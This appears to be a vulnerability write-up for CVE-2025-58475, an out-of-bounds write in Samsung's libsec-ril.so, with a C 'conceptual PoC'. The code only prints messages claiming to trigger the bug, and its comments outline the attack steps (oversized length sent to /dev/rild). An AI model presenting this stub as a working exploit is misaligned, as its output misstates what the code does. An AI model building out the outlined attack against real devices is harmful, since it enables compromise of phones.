CVE-2025-58475 三星libsec-ril.so输入验证不当导致越界内存写入

// CVE-2025-58475 PoC - Samsung libsec-ril.so Out-of-Bounds Write // This is a conceptual PoC demonstrating the vulnerability pattern // Requires local privileged access (PR:H) on Samsung device #include <stdio.h> #include <stdlib.h> #include <string.h> // RIL message types (simplified) #define RIL_REQUEST_BASE 0x00000001 #define RIL_REQUEST_VULN_TRIGGER 0x0000A000 // Malicious payload structure struct ril_message { int type; int length; char *data; }; // Trigger vulnerable code path in libsec-ril.so int trigger_oob_write() { // This PoC demonstrates the concept of sending malformed RIL data // that causes improper input validation leading to OOB write struct ril_message msg; msg.type = RIL_REQUEST_VULN_TRIGGER; // Crafted length that bypasses validation but causes OOB write // In real scenario, this would be sent via /dev/rild or similar interface msg.length = 0xFFFFFFFF; // Oversized length value // The vulnerability exists because libsec-ril.so does not properly // validate msg.length before performing memory operations printf("[*] Triggering CVE-2025-58475\n"); printf("[*] Sending malformed RIL message to libsec-ril.so\n"); printf("[*] Message Type: 0x%X\n", msg.type); printf("[*] Message Length: 0x%X (crafted to bypass validation)\n", msg.length); // In actual exploitation, this would involve: // 1. Opening /dev/rild socket // 2. Sending crafted RIL_REQUEST with oversized length field // 3. libsec-ril.so processes without proper bounds checking // 4. OOB write occurs in heap or stack memory return 0; } int main() { printf("========================================\n"); printf("CVE-2025-58475 PoC\n"); printf("Samsung libsec-ril.so Input Validation Issue\n"); printf("========================================\n"); // Note: Actual exploitation requires: // - Root/privileged access on Samsung device // - Ability to interact with RIL daemon // - Knowledge of specific RIL message format trigger_oob_write(); return 0; }